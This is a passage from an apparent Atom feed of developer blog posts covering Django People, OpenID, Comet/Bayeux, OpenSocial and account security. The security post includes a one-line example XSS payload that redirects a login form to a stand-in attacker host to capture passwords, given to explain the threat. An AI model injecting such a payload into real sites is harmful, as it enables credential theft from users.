&lt;p&gt;The wonderful &lt;a href="http://www.geonames.org/"&gt;GeoNames&lt;/a&gt; (also used on &lt;a href="http://djangopeople.net/"&gt;djangopeople.net&lt;/a&gt;) includes &lt;a href="http://www.geonames.org/wikipedia.html"&gt;an API for querying Wikipedia by location&lt;/a&gt;, based on 610,000 articles extracted from a Wikipedia data dump. This was a huge relief when I found it, as "order by distance from X" is actually pretty tricky to do efficiently; I've used expanding bounding box searches in the past but I'd love to hear about more effective solutions.&lt;/p&gt;

&lt;h3&gt;Google Static Maps&lt;/h3&gt;

&lt;p&gt;A long-term criticism of the Google Maps API is that it requires JavaScript to display anything at all - once you've committed to using it, you're going to have trouble implementing unobtrusive scripting (although you can &lt;a href="http://24ways.org/2007/unobtrusively-mapping-microformats-with-jquery" title="Unobtrusively Mapping Microformats with jQuery"&gt;work around the problem&lt;/a&gt; to some extent). Yahoo! Maps has long been better in this regard, but their &lt;a href="http://developer.yahoo.com/maps/rest/V1/mapImage.html"&gt;map image API&lt;/a&gt; is a bit of a pain to use - you have to do an initial call to get back the URL to an image embedded in an XML file, then extract that URL and send it to the browser.&lt;/p&gt;

&lt;p&gt;Launched &lt;a href="http://googlemapsapi.blogspot.com/2008/02/google-maps-without-scripting.html" title="Google Maps Without the Scripting"&gt;last month&lt;/a&gt;, Google's &lt;a href="http://code.google.com/apis/maps/documentation/staticmaps/"&gt;Static Maps API&lt;/a&gt; is a big improvement. As with &lt;a href="http://code.google.com/apis/chart/"&gt;Google Charts&lt;/a&gt;, you need only construct a URL to the image to have it dynamically generated on the fly. You can also specify markers, and optionally omit the initial latitude/longitude/zoom to indicate that you want a best fit for the markers you are displaying. There's even a flag for a "mobile optimised" image which I'm using for wikinear.com.&lt;/p&gt;

&lt;h3&gt;Mixing it all together&lt;/h3&gt;

&lt;p&gt;Excluding templates, the entire application comes in at less than 200 lines of code and took around two hours to build. The only persistence is a couple of cookies for storing Fire Eagle tokens; Django's database layer isn't even configured (and user locations aren't logged anywhere, which is great from a privacy point of view). I suppose it's a classic mashup - Fire Eagle + OAuth + Wikipedia + GeoNames + Google Static Maps = wikinear.com. Despite its simplicity (or maybe because if it), I think it's a neat demonstration of the kind of applications Fire Eagle enables.&lt;/p&gt;

&lt;!-- &lt;p&gt;&lt;a href="http://simonwillison.net/2008/Mar/22/wikinear/#comments"&gt;&lt;img src="http://simonwillison.net/2008/Mar/22/wikinear/badge.png" alt="Number of comments"&gt;&lt;/a&gt;&lt;/p&gt; --&gt;
</summary><category term="django" /><category term="fireeagle" /><category term="geonames" /><category term="googlemaps" /><category term="oauth" /><category term="wikinear" /><category term="wikipedia" /></entry><entry><title>Django People: OpenID and microformats</title><link href="http://simonwillison.net/2008/Jan/24/upgrade/" rel="alternate" /><updated>2008-01-24T02:02:19Z</updated><id>http://simonwillison.net/2008/Jan/24/upgrade/</id><summary type="html">&lt;p&gt;In hindsight, it was a mistake to launch &lt;a href="http://djangopeople.net/"&gt;Django People&lt;/a&gt; without support for &lt;a href="http://openid.net/"&gt;OpenID&lt;/a&gt;. It was on the original feature list, but in the end I decided to cut any feature that wasn't completely essential in order to get the site launched before it drowned in an ocean of "wouldn't-it-be-cool-ifs".&lt;/p&gt;

&lt;p&gt;I thought that, once launched, the site would see a small amount of activity from a few interested parties and I'd have plenty of time to catch up on the feature backlog. What I didn't expect was that &lt;a href="http://djangopeople.net/about/"&gt;over 750 people&lt;/a&gt; would create profiles within the first 24 hours!&lt;/p&gt;

&lt;p&gt;So, I spent a few hours this evening integrating my current development version of &lt;a href="http://code.google.com/p/django-openid/"&gt;django-openid&lt;/a&gt;, which thankfully had about 80% of the code needed to integrate with Django's built-in authentication mechanism already written. Sadly the other 20% is either incomplete or a bit of a mess, but I've checked it in to &lt;a href="http://django-openid.googlecode.com/svn/branches/auth-integration/"&gt;a branch on Google Code&lt;/a&gt; for anyone who's interested.&lt;/p&gt;

&lt;p&gt;Anyway, there are a few new features on the site of interest to OpenID users:&lt;/p&gt;

&lt;ol&gt;
    &lt;li&gt;When &lt;a href="http://djangopeople.net/signup/"&gt;signing up for a new account&lt;/a&gt;, you now have the option to start by signing in with an OpenID. If you do this, you'll be able to complete the signup form without having to pick a password. If your OpenID provider supports simple registration the name, e-mail address and username fields will be filled in for you.&lt;/li&gt;
    &lt;li&gt;If you already have an existing account, you can &lt;a href="http://djangopeople.net/openid/associations/"&gt;associate one or more OpenIDs&lt;/a&gt; with that account. You'll then be able to use any of them to sign in to the account. Why multiple OpenIDs instead of just one? Two reasons: firstly, it opens the potential for doing interesting things with multiple OpenIDs from different providers in the future; secondly, it gives you a fallback for if one of your OpenID providers becomes unavailable.&lt;/li&gt;
    &lt;li&gt;You can freely add and remove OpenIDs from your associations, with one exception: the site won't let you delete your last OpenID if your account doesn't also have a password associated with it, to prevent you from locking yourself out.&lt;/li&gt;
    &lt;li&gt;While I decided that I didn't want Django People to become &lt;em&gt;yet another&lt;/em&gt; OpenID provider, I do want to give people the ability to use their profile page on the site as an OpenID - so that they can prove that they own it (see my &lt;a href="http://simonwillison.net/2008/Jan/7/projection/" title="Yahoo!, Flickr, OpenID and Identity Projection"&gt;recent post on identity projection&lt;/a&gt;). To that end, the new account settings page lets advanced OpenID users set up an &lt;code&gt;openid.server&lt;/code&gt; and &lt;code&gt;openid.delegate&lt;/code&gt; for their profile page, as described in &lt;a href="http://simonwillison.net/2006/Dec/19/openid/" title="How to turn your blog in to an OpenID"&gt;my blog entry&lt;/a&gt; from just over a year ago.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;One caveat: the site only supports OpenID 1.1, at least for the moment. I had originally planned to go for OpenID 2.0, but demand was such that I decided to get what I had up and running rather than digging in to the OpenID 2.0 libraries.&lt;/p&gt;

&lt;h3&gt;Microformats&lt;/h3&gt;

&lt;p&gt;While I was messing around with OpenID, &lt;a href="http://notes.natbat.net/"&gt;Natalie&lt;/a&gt; was updating the site's templates to clean up the crufty code I'd introduced and add some microformatted goodness. The site now uses &lt;a href="http://microformats.org/wiki/hcard"&gt;hCard&lt;/a&gt; where you would expect it (country listing pages, skill listing pages and the &lt;a href="http://djangopeople.net/search/"&gt;new search interface&lt;/a&gt;) and the profile pages have been updated with a healthy dose of &lt;a href="http://microformats.org/wiki/xfn"&gt;XFN&lt;/a&gt; (just rel="me", since there isn't a relevant microformat for "people who live nearby") and &lt;a href="http://microformats.org/wiki/rel-tag"&gt;Rel-Tag&lt;/a&gt;. On &lt;a href="http://adactio.com/"&gt;Jeremy Keith&lt;/a&gt;'s suggestion, the profile pages also use &lt;a href="http://microformats.org/wiki/hresume"&gt;hResume&lt;/a&gt; - all the more reason to add the Django projects you've worked on to your profile's portfolio.&lt;/p&gt;

&lt;p&gt;As usual, post feedback and bug reports as comments on this entry.&lt;/p&gt;

&lt;!-- &lt;p&gt;&lt;a href="http://simonwillison.net/2008/Jan/24/upgrade/#comments"&gt;&lt;img src="http://simonwillison.net/2008/Jan/24/upgrade/badge.png" alt="Number of comments"&gt;&lt;/a&gt;&lt;/p&gt; --&gt;
</summary><category term="django" /><category term="djangopeople" /><category term="hcard" /><category term="hresume" /><category term="identityprojection" /><category term="microformats" /><category term="openid" /><category term="python" /><category term="reltag" /><category term="xfn" /></entry><entry><title>Django People</title><link href="http://simonwillison.net/2008/Jan/23/djangopeople/" rel="alternate" /><updated>2008-01-23T02:00:58Z</updated><id>http://simonwillison.net/2008/Jan/23/djangopeople/</id><summary type="html">&lt;p&gt;I'm constantly surprised by the number of people I run in to at conferences (or even in one case on the train) who are using &lt;a href="http://www.djangoproject.com/"&gt;Django&lt;/a&gt; but are completely invisible to the Django community.  It seems that this is the downside of having good documentation: many people just read it and start building, without ever showing their face on the mailing lists or IRC.&lt;/p&gt;

&lt;p&gt;So, &lt;a href="http://notes.natbat.net/"&gt;Natalie&lt;/a&gt; and I have just launched &lt;a href="http://djangopeople.net/"&gt;djangopeople.net&lt;/a&gt; - a site that encourages Django developers to create a profile and stamp themselves on a map. Every country in the world gets its &lt;a href="http://djangopeople.net/gb/"&gt;own page&lt;/a&gt;, as does &lt;a href="http://djangopeople.net/us/ks/"&gt;every US state&lt;/a&gt; (for the moment; I may add other country's regional subdivisions in the future). The focus of the site is firmly on location, and I'm hoping to add features in the future that encourage people to get involved with local Django user groups and meet like-minded developers.&lt;/p&gt;

&lt;p&gt;So, if you develop sites in Django head over there and create yourself a profile. If possible, upload a photo too - it makes the site look nice! Please leave any feedback or bug reports as comments on this post.&lt;/p&gt;

&lt;!-- &lt;p&gt;&lt;a href="http://simonwillison.net/2008/Jan/23/djangopeople/#comments"&gt;&lt;img src="http://simonwillison.net/2008/Jan/23/djangopeople/badge.png" alt="Number of comments"&gt;&lt;/a&gt;&lt;/p&gt; --&gt;
</summary><category term="community" /><category term="django" /><category term="djangopeople" /><category term="nataliedowne" /></entry><entry><title>Yahoo!, Flickr, OpenID and Identity Projection</title><link href="http://simonwillison.net/2008/Jan/7/projection/" rel="alternate" /><updated>2008-01-07T23:33:39Z</updated><id>http://simonwillison.net/2008/Jan/7/projection/</id><summary type="html">&lt;p&gt;&lt;a href="http://www.readwriteweb.com/archives/flickr_to_authenticate_openid.php"&gt;Via ReadWriteWeb&lt;/a&gt;, view source on &lt;a href="http://www.flickr.com/photos/simon/"&gt;a Flickr photostream page&lt;/a&gt; and search for "openid" and you'll be rewarded with the following snippet:&lt;/p&gt;

&lt;pre&gt;&lt;code class="html"&gt;&amp;lt;link rel="openid2.provider"
  href="https://open.login.yahooapis.com/openid/op/auth" /&amp;gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Which means that Flickr pages will very soon be able to act as &lt;a href="http://openid.net/"&gt;OpenIDs&lt;/a&gt;. The provider isn't up and running just yet though; try authenticating with your Flickr OpenID on &lt;a href="http://jyte.com/auth/login"&gt;Jyte.com&lt;/a&gt; and you'll get the following message:&lt;/p&gt;

&lt;blockquote&gt;&lt;p&gt;
Hey there! You have stopped by a bit sooner than we had expected. This feature is still being tested, so please check back in a few days.
&lt;/p&gt;&lt;/blockquote&gt;

&lt;p&gt;The URL of the server is interesting as well: it suggests that Yahoo!'s OpenID support is designed from the start to apply to more than just Flickr. I wouldn't be at all surprised to see similar links start to crop up on all kinds of other Yahoo! properties - anything that has a page which can be considered to represent a user account. This would make a lot of sense, because &lt;strong&gt;OpenID is good for more than just authentication&lt;/strong&gt;. The OpenID protocol allows a user to assert ownership of a URL. This can be used for SSO-style authentication, but it can also be used to prove ownership of a specific account to some other service, a concept I've been calling &lt;em&gt;identity projection&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;If users can easily project their Flickr, Upcoming or del.icio.us identities to other sites, developers can start to build all kinds of neat things. Mashups for one get a whole lot more interesting when new users can easily bring their existing profiles from other sites with them. With any luck we'll see Yahoo! start to adopt &lt;a href="http://oauth.net/"&gt;OAuth&lt;/a&gt; for authenticated API calls (which is itself based in part on the &lt;a href="http://www.flickr.com/services/api/auth.spec.html"&gt;Flickr auth API&lt;/a&gt;) in the not too distant future, opening up even more possibilities.&lt;/p&gt;

&lt;p&gt;A common misconception about OpenID is that it's only really useful if users stick to using one identity. I'd be happy to see every one of my online profiles acting as an OpenID, not for SSO authentication (I'll pick one "primary" OpenID to use for that) but so that I can selectively cross-pollinate some of my profiles to new services.&lt;/p&gt;

&lt;p&gt;Back to Yahoo!, another interesting new URL is &lt;a href="https://me.yahoo.com/"&gt;https://me.yahoo.com/&lt;/a&gt;. Again, there's not much to see at the moment but it looks to me like this will become an endpoint for OpenID 2 directed identity. James Henstridge &lt;a href="http://blogs.gnome.org/jamesh/2007/10/23/openid-20/"&gt;provides a useful explanation here&lt;/a&gt;, but the short version is that you'll be able to enter "me.yahoo.com" in to an OpenID field on a site and have Yahoo! pick an obfuscated, unique OpenID for your interactions with that site. This protects your privacy by preventing anyone from outside of Yahoo! from correlating your behaviour across multiple OpenID-enabled services, similar to how Yahoo!'s current &lt;a href="http://developer.yahoo.com/auth/"&gt;BBAuth API&lt;/a&gt; provides applications with an opaque hash rather than a user's Yahoo! screen name.&lt;/p&gt;

&lt;p&gt;It looks like Yahoo! will only be supporting OpenID 2 and won't provide a fallback for OpenID 1.x consumers. This means you won't be able to use your Flickr OpenID on many existing consumer sites (including this blog), at least until they get around to updating their libraries. I expect Yahoo!'s implementation to be a major influence in encouraging OpenID 2 adoption.&lt;/p&gt;

&lt;p&gt;It's three weeks short of a year since I &lt;a href="http://simonwillison.net/2007/Jan/27/idproxy/"&gt;launched idproxy.net&lt;/a&gt;, which provides Yahoo! account holders with a third-party OpenID via the BBAuth API. I couldn't be happier to see Yahoo! taking steps towards cutting out the middle man.&lt;/p&gt;

&lt;!-- &lt;p&gt;&lt;a href="http://simonwillison.net/2008/Jan/7/projection/#comments"&gt;&lt;img src="http://simonwillison.net/2008/Jan/7/projection/badge.png" alt="Number of comments"&gt;&lt;/a&gt;&lt;/p&gt; --&gt;
</summary><category term="bbauth" /><category term="flickr" /><category term="identityprojection" /><category term="oauth" /><category term="openid" /><category term="openid2" /><category term="yahoo" /></entry><entry><title>Comet works, and it's easier than you think</title><link href="http://simonwillison.net/2007/Dec/5/comet/" rel="alternate" /><updated>2007-12-05T16:22:20Z</updated><id>http://simonwillison.net/2007/Dec/5/comet/</id><summary type="html">&lt;p&gt;I gave &lt;a href="http://www.slideshare.net/simon/time-for-comet/" title="Time for Comet? - slides on SlideShare"&gt;a talk&lt;/a&gt; this morning at the Yahoo! Web Developer Summit on &lt;a href="http://cometdaily.com/"&gt;Comet&lt;/a&gt;, &lt;a href="http://cometd.com/"&gt;cometd&lt;/a&gt; and &lt;a href="http://svn.xantus.org/shortbus/trunk/bayeux/bayeux.html"&gt;Bayeux&lt;/a&gt;. I've been trying to keep up with Comet ever since Alex &lt;a href="http://alex.dojotoolkit.org/?p=545"&gt;coined the term&lt;/a&gt; last year, but it's only in the past few weeks that I've actually found some time to play with it myself. I was very impressed with what I found: the open source infrastructure for building and deploying Comet applications is surprisingly mature, and with just a few more improvements I can see Comet achieving much more widespread use.&lt;/p&gt;

&lt;p&gt;Comet is an umbrella term for any technique that allows a web server to "push" events down to a browser. You can think of it as an alternative to Ajax polling, with the benefit that events are relayed in almost real-time and "wasted" requests (when nothing has changed) are massively reduced. The name doesn't stand for anything; it's named after an American kitchen cleaner (a joke on Ajax).&lt;/p&gt;

&lt;p&gt;When you consider the hacks involved in getting Comet to work across the four major browsers it's miraculous that it works at all. In the talk I tried to illustrate the insanity with examples of browser hacks, mainly to show how totally absurd it all was. But while the solutions are mostly pretty terrifying, the fact that we're dealing with JavaScript (rather than CSS) means that we can abstract all of the nastiness away, ready to be replaced later on when browsers start introducing native support. Abstracting away the nastiness until the browsers catch up is something of an unofficial mission statement for the Dojo project, so you won't be surprised to hear that &lt;a href="http://dojotoolkit.org/"&gt;Dojo&lt;/a&gt; offers excellent support for Comet.&lt;/p&gt;

&lt;h3&gt;The Bayeux protocol&lt;/h3&gt;

&lt;p&gt;For me the most exciting Comet development is the invention of &lt;a href="http://svn.xantus.org/shortbus/trunk/bayeux/bayeux.html"&gt;the Bayeux protocol&lt;/a&gt;. Bayeux defines a standard protocol for Comet clients (both browsers and others) to communicate with a dedicated Comet server, using a simple but powerful publisher/subscriber architecture based around the concept of named channels. Clients can connect to a Bayeux server, subscribe to one or more channels, and then publish messages targeted at a channel. The server's job is to relay those messages to all clients subscribed to that channel.&lt;/p&gt;

&lt;p&gt;There are a number of things to like about this setup. Firstly, it means that all of the difficult parts of Comet (relaying real-time messages, coping with huge numbers of simultaneous connections) are kept separate from your regular architecture. You can keep developing and deploying applications in your preferred framework (Django, Rails, PHP on Apache or whatever) while the Bayeux server sits there as essentially a black box - clients can subscribe to it and you can use it to publish messages all without needing to customise the Comet server at all. If the Bayeux server implementation you chose doesn't work out for some reason you can swap it straight out for something else that supports the same protocol.&lt;/p&gt;

&lt;p&gt;The one thing missing from Bayeux at the moment is authentication. Out of the box, a Bayeux server will relay messages to a specific channel from any client to any other set of clients. This is an obvious flaw: if you're running a site where events such as "a new comment has been added" are broadcast out via Comet, you don't want just anyone to be able to imitate such messages and have them sent to all of your subscribed clients. Right now, Bayeux leaves it up to the individual servers to figure out how they will deal with this. I'd like to see the specification address this directly as without it a Bayeux server isn't much use in a real-world environment.&lt;/p&gt;

&lt;h3&gt;Getting started with Comet&lt;/h3&gt;

&lt;p&gt;If I've piqued your interest, the good news is that getting started with Comet is really, really easy. All you need is a running server that supports the Bayeux protocol. I tried out a number of options, but the first one that worked straight out of the box was Jetty 6.1, a Java web server that uses continuations to achieve high concurrent performance. Here's how to get Jetty up and running in a few easy steps:&lt;/p&gt;

&lt;ol&gt;
    &lt;li&gt;Download Jetty 6.1 (the first version to include a cometd implementation) from &lt;a href="http://www.mortbay.org/"&gt;www.mortbay.org&lt;/a&gt;.&lt;/li&gt;
    &lt;li&gt;Install &lt;a href="http://maven.apache.org/"&gt;Maven&lt;/a&gt;, a free build tool for Java (the &lt;a href="http://maven.apache.org/download.html"&gt;download page&lt;/a&gt; has installation instructions).&lt;/li&gt;
    &lt;li&gt;Unzip Jetty (you can put it anywhere).&lt;/li&gt;
    &lt;li&gt;&lt;samp&gt;cd jetty-6.1.6/contrib/cometd/demo&lt;/samp&gt;&lt;/li&gt;
    &lt;li&gt;&lt;samp&gt;mvn jetty:run&lt;/samp&gt; - the first time you run this it will download a bunch of dependencies and then start up a Jetty server on port 8080.&lt;/li&gt;
    &lt;li&gt;Navigate to &lt;samp&gt;http://localhost:8080/&lt;/samp&gt; and you should see an index page linking to a number of Comet demo applications.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Once you've played with the demos, building your own application is almost as easy. The code for the bundled examples lives in &lt;samp&gt;jetty-6.1.6/contrib/cometd/demo/src/main/webapp/examples&lt;/samp&gt; - I simply created a copy of the entire &lt;samp&gt;chat&lt;/samp&gt; directory and started building my own experiments from there.&lt;/p&gt;

&lt;h3&gt;Using dojox.cometd&lt;/h3&gt;

&lt;p&gt;If you look through the source of the chat application, it quickly becomes apparent that most of Comet boils down to just three methods:&lt;/p&gt;

&lt;ul&gt;
    &lt;li&gt;&lt;strong&gt;&lt;samp&gt;dojox.cometd.init(comet_server_url)&lt;/samp&gt;&lt;/strong&gt; initialises a connection to the given Comet server. The Bayeux handshake protocol is used to establish the most appropriate Comet method for the connecting browser; you don't have to worry about the details of the Comet connection at all.&lt;/li&gt;
    &lt;li&gt;&lt;strong&gt;&lt;samp&gt;dojox.cometd.subscribe('/channel', callback)&lt;/samp&gt;&lt;/strong&gt; subscribes a callback function to a named channel. Any time a message is sent to that channel the function will be called.&lt;/li&gt;
    &lt;li&gt;&lt;strong&gt;&lt;samp&gt;dojox.cometd.publish('/channel', json_object)&lt;/samp&gt;&lt;/strong&gt; sends (publishes) a new message to a named channel. The message can be any valid JSON data structure.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There are a few other methods relating to batching requests and disconnecting from the server, but the above three make up the bulk of any Comet application.&lt;/p&gt;

&lt;h3&gt;A Comet slideshow&lt;/h3&gt;

&lt;p&gt;In preparation for my talk I decided that I'd try to present my slides using a small Comet application. I ended up building a very simple slideshow tool - I exported my Keynote presentation as a sequence of images, then wrote a Comet client that listened for "show this slide" messages and another client (a master, which acted as my presenter view) that could publish those messages. You can see &lt;a href="http://www.flickr.com/photos/simon/2089105360/"&gt;a screenshot of the master client&lt;/a&gt; on Flickr; in addition to "next" and "previous" buttons it also shows a small preview of the upcoming slide.&lt;/p&gt;

&lt;p&gt;The code for the client application (which I had running on the main projector screen, and also encouraged the audience to load on their laptops) boiled down to just a few lines of code. Here's the slideshow client in its entirety:&lt;/p&gt;

&lt;pre&gt;&lt;code class="javascript"&gt;dojo.require("dojox.cometd");
jQuery(function($) {
    dojox.cometd.init("http://example.com/cometd");
    dojox.cometd.subscribe("/slideshow/change", function(comet) {
        $('#currentSlide').attr('src', comet.data.src);
    });
});
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The master client was only a little more complicated, due to the need to keep track of the full list of slide URLs (non-sequential, to discourage the audience from skipping ahead) as well as display the preview. That said, the core Comet functionality was wrapped up in a single function:&lt;/p&gt;

&lt;pre&gt;&lt;code class="javascript"&gt;function publishSlide(src) {
    dojox.cometd.publish("/slideshow/change", {
        'src': src
    });
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The entire application took less than an hour to put together, which I think is a testament to the quality of the Bayeux implementation present in both Jetty and Dojo.&lt;/p&gt;

&lt;h3&gt;The future&lt;/h3&gt;

&lt;p&gt;Before taking a detailed look at Comet, my assumption was that the amount of complexity involved meant it was out of bounds to all but the most dedicated JavaScript hackers. I'm pleased to admit that I was wrong: Comet is probably about 90% of the way to being usable for mainstream projects, and the few remaining barriers (Bayeux authentication chief amongst them) are likely to be solved before too long. I expect to see many more sites start deploying Comet powered features over the next twelve months.&lt;/p&gt;

&lt;!-- &lt;p&gt;&lt;a href="http://simonwillison.net/2007/Dec/5/comet/#comments"&gt;&lt;img src="http://simonwillison.net/2007/Dec/5/comet/badge.png" alt="Number of comments"&gt;&lt;/a&gt;&lt;/p&gt; --&gt;
</summary><category term="bayeux" /><category term="comet" /><category term="cometd" /><category term="java" /><category term="javascript" /><category term="jetty" /><category term="speaking" /></entry><entry><title>Figuring out OpenSocial</title><link href="http://simonwillison.net/2007/Nov/2/opensocial/" rel="alternate" /><updated>2007-11-02T10:29:25Z</updated><id>http://simonwillison.net/2007/Nov/2/opensocial/</id><summary type="html">&lt;p&gt;So &lt;a href="http://code.google.com/apis/opensocial/" title="OpenSocial"&gt;it's out&lt;/a&gt;, and lots of people are talking about it, but I'm still trying to work out exactly what it is. There seem to be two parts to it: a standardised set of GData APIs for accessing lists of friends and their activities (like the Facebook news feed) and a bunch of JavaScript APIs for enabling developers to write hostable widgets and "container sites" to embed those widgets.&lt;/p&gt;

&lt;p&gt;Unfortunately the official documentation confuses things horribly by referring to Google Gadgets in various places. From that my guess is that the embedding part consists of externally hosted code running in an iframe, along with &lt;a href="http://tagneto.blogspot.com/2006/06/cross-domain-frame-communication-with.html" title=""&gt;the clever fragment hack&lt;/a&gt; to mediate controlled communication between the container site and the embedded widget (and bypass the same-domain restriction). Not sure how that would defend against a malicious widget that uses frame-busting to send the user to a completely new page though - Facebook rewrite and sanitise all of the CSS and JavaScript that they serve, but I seriously doubt Google's open source container API pack will include that level of sophistication.&lt;/p&gt;

&lt;p&gt;My other question at the moment is how much OpenSocial relates to the larger goal of an open social network, where import and export APIs allow people to easily move from network to network and still find their friends. I don't see anything in the GData People API that explicitly addresses the need to correlate the same user's account across multiple sites (it looks like it doesn't include an e-mail address for example) which seems to me to be pretty essential.&lt;/p&gt;

&lt;p&gt;Am I getting this right, or have I missed something important? I'd love to hear from people who have been properly briefed on all of this.&lt;/p&gt;

&lt;!-- &lt;p&gt;&lt;a href="http://simonwillison.net/2007/Nov/2/opensocial/#comments"&gt;&lt;img src="http://simonwillison.net/2007/Nov/2/opensocial/badge.png" alt="Number of comments"&gt;&lt;/a&gt;&lt;/p&gt; --&gt;
</summary><category term="apis" /><category term="google" /><category term="identity" /><category term="opensocial" /><category term="portablesocialnetworks" /></entry><entry><title>Questioning Steve Ballmer</title><link href="http://simonwillison.net/2007/Oct/1/steve/" rel="alternate" /><updated>2007-10-01T23:57:53Z</updated><id>http://simonwillison.net/2007/Oct/1/steve/</id><summary type="html">&lt;p&gt;This morning I attended a half day briefing at Microsoft UK entitled "The Online Opportunity - What Makes a Successful Web 2.0 Start-Up?". Despite the buzzword laden title the event was well worth the trip up from Brighton, mainly due to the Q&amp;amp;A with Steve Ballmer (a pretty rare opportunity).&lt;/p&gt;

&lt;p&gt;Of the other speakers my favourite was Brent Hoberman of &lt;a href="http://www.lastminute.com/"&gt;lastminute.com&lt;/a&gt; and more recently &lt;a href="http://www.mydeco.com/"&gt;mydeco.com&lt;/a&gt;. He presented without slides, choosing instead to simply blasting through dozens of lessons he learnt working on lastminute.com, both when it was a plucky startup and once it had morphed in to a large public company. Thankfully Jeremy &lt;a href="http://adactio.com/journal/1351/" title="Microsoft in London"&gt;took copious notes&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I was lucky enough to get the opportunity to throw a question at Steve. I considered asking how he planned to lure open source developers (used to &lt;a href="http://simonwillison.net/2005/Nov/1/destiny/"&gt;controlling their entire stack&lt;/a&gt;) back to Microsoft tools, but another question had touched on patents so instead I asked the following (paraphrased):&lt;/p&gt;

&lt;blockquote&gt;&lt;p&gt;This event is all about encouraging startups - but one of the biggest problems a startup faces is that it's almost impossible to invent anything without violating someone's patent. Big companies can use their patent portfolios to defend themselves, but small companies have no way to fight back. It's kind of like the Cold War.&lt;/p&gt;&lt;/blockquote&gt;

&lt;p&gt;Here are the points I can remember from Steve's answer:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
The patent system (in the US) was designed for the industrial revolution and altered once to deal with the pharmaceutical industry. It hasn't yet been updated for software, but some kind of change is obviously needed. That said, we shouldn't throw the baby out with the bath water - patents are still needed to encourage innovation in both large and small companies.&lt;/li&gt;
  &lt;li&gt;At the moment, it's hard to say if small or big companies benefit most. Steve thinks it's actually the smaller companies - it's rare for a big company to crush a small company with a patent, but you often hear about small companies with a patent and nothing to lose going after the big guys.&lt;/li&gt;
  &lt;li&gt;Microsoft are lobbying for patent reform both in the US and the European Union.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;About half way through Steve's talk the current favourite Microsoft demos got an airing: &lt;a href="http://www.popfly.ms/"&gt;Popfly&lt;/a&gt; (a mashup editor written in Silverlight, reminiscent of &lt;a href="http://pipes.yahoo.com/"&gt;Yahoo! Pipes&lt;/a&gt;), &lt;a href="http://labs.live.com/Seadragon.aspx"&gt;Seadragon&lt;/a&gt; and the awesome &lt;a href="http://labs.live.com/photosynth/"&gt;Photosynth&lt;/a&gt;. I hadn't realised Photosynth was actually available for regular people to play with, although my attempts at getting it working with Parallels on my Mac have sadly failed.&lt;/p&gt;

&lt;!-- &lt;p&gt;&lt;a href="http://simonwillison.net/2007/Oct/1/steve/#comments"&gt;&lt;img src="http://simonwillison.net/2007/Oct/1/steve/badge.png" alt="Number of comments"&gt;&lt;/a&gt;&lt;/p&gt; --&gt;
</summary><category term="brenthoberman" /><category term="lastminute" /><category term="microsoft" /><category term="mydeco" /><category term="patents" /><category term="photosynth" /><category term="popfly" /><category term="seadragon" /><category term="silverlight" /><category term="startups" /><category term="steveballmer" /><category term="yahoopipes" /></entry><entry><title>Designing for a security breach</title><link href="http://simonwillison.net/2007/Sep/30/designing/" rel="alternate" /><updated>2007-09-30T21:29:32Z</updated><id>http://simonwillison.net/2007/Sep/30/designing/</id><summary type="html">&lt;p&gt;&lt;em&gt;User account breaches are inevitable. We should take that in to account when designing our applications.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;My work with OpenID has lead me to think a lot harder about account security in general. Staying secure on the Web is surprisingly difficult, even for experienced internet users - which means the mainstream public are in a whole heap of trouble.&lt;/p&gt;

&lt;p&gt;Phishing is incredibly effective; the &lt;a href="http://www.vnunet.com/vnunet/news/2127105/brits-fail-online-phishing-test" title="Brits fail online phishing test"&gt;vast majority&lt;/a&gt; of people can't tell the difference between a phished version of a site and a real one, and applications don't help the situation by sending dozens of e-mails encouraging people to sign in or serving their legitimate login page on unrecognisable domains. Even worse, &lt;a href="http://www.facebook.com/" title="Facebook"&gt;many&lt;/a&gt; &lt;a href="http://www.linkedin.com/" title="Linked In"&gt;social&lt;/a&gt; &lt;a href="http://twitter.com/" title="Twitter"&gt;networking&lt;/a&gt; &lt;a href="http://www.dopplr.com/" title="Dopplr"&gt;sites&lt;/a&gt; actively &lt;em&gt;encourage&lt;/em&gt; bad security habits by asking users for their webmail username and password in order to scrape their address book for contacts.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery"&gt;CSRF&lt;/a&gt; and &lt;a href="http://en.wikipedia.org/wiki/Cross-site_scripting"&gt;XSS&lt;/a&gt; attacks (the latter which opens up the former even in the few sites that have CSRF protection) are everywhere, and make phishing for user passwords even easier. If you can inject the following XSS attack in to a login page all bets are off:&lt;/p&gt;

&lt;pre&gt;&lt;code class="javascript"&gt;document.forms[0].action='http://hax0r.example.com/capture.cgi'&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Your application may be perfectly secure, but if one of your users uses the same username and password on a less secure application that gets cracked or XSSd their account on your service can be compromised as well.&lt;/p&gt;

&lt;p&gt;Most worrying of all is the way most user's entire online identities are attached to a single webmail account. People often criticise OpenID for putting all of a user's eggs in one basket, but don't realise that for most people their e-mail already serves that purpose. Steal my mail account and you can use forgotten password requests to steal everything else. Here's &lt;a href="http://p1k3.com/2007/9/1" title="Your paranoia is justified"&gt;a nasty recent example&lt;/a&gt; of that happening with a Gmail account.&lt;/p&gt;

&lt;p&gt;(This is why I'm excited to see OpenID providers moving towards more secure methods of authentication such as &lt;a href="http://janrain.com/blog/2007/04/20/and-then-there-were-none-zero-passwords-with-client-certificates/" title="And then there were none — Zero Passwords with Client Certificates"&gt;client-side SSL certificates&lt;/a&gt; and two-factor authentication with &lt;a href="http://en.wikipedia.org/wiki/SecurID"&gt;a physical token&lt;/a&gt;. Users can afford to have a stronger relationship with their OpenID provider than the other sites they sign in to. It would be nice to see the same authentication measures made available for popular webmail systems.)&lt;/p&gt;

&lt;p&gt;If your web application hosts any valuable information at all, it's prudent to expect that some significant proportion of your users will eventually have their accounts hijacked.&lt;/p&gt;

&lt;p&gt;This introduces some interesting design challenges. If we expect that at least some of our users' accounts will be compromised, what can we do to minimise the damage that an attacker can cause?&lt;/p&gt;

